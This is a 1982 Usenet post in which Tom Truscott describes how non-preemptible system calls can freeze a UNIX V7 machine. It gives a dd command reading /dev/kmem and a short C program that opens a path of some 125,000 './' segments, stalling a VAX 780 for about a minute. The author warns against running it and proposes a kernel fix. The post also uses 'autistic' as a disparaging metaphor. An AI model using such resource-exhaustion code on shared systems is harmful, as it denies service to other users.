From: utzoo!decvax!duke!unc!mcnc!trt
Newsgroups: net.general
Title: Re: How many readers ARE there???...
Article-I.D.: mcnc.1398
Posted: Fri Dec  3 14:31:55 1982
Received: Sun Dec  5 05:54:12 1982
References: ucbonyx.372

My favorite way to crunch UNIX is with a cpu-bound non-blocking system call.
E.g. UNIX-V7 has a slow mem(IV) driver, so "dd if=/dev/kmem bs=50b" is SLOW.
Such things cannot be preempted, so the system looks quite dead.
Opening the file "/etc/../etc/../etc/...on and on" is just as bad.
The following will make a VAX 780 autistic for about a minute:
	char	huge[250000];
	main()
	{
		register char *p = huge;
		register int n = sizeof(huge)/2 - 10;

		do {
			*p++ = '.'; *p++ = '/';
		} while (--n);
		*p = '\0';
		open(huge, 0);	/* Be patient! */
	}
Do not run the above program!! You might lose your login privilege.
Perhaps UNIX should defeat such calls by calling swtch() occasionally.
	Tom Truscott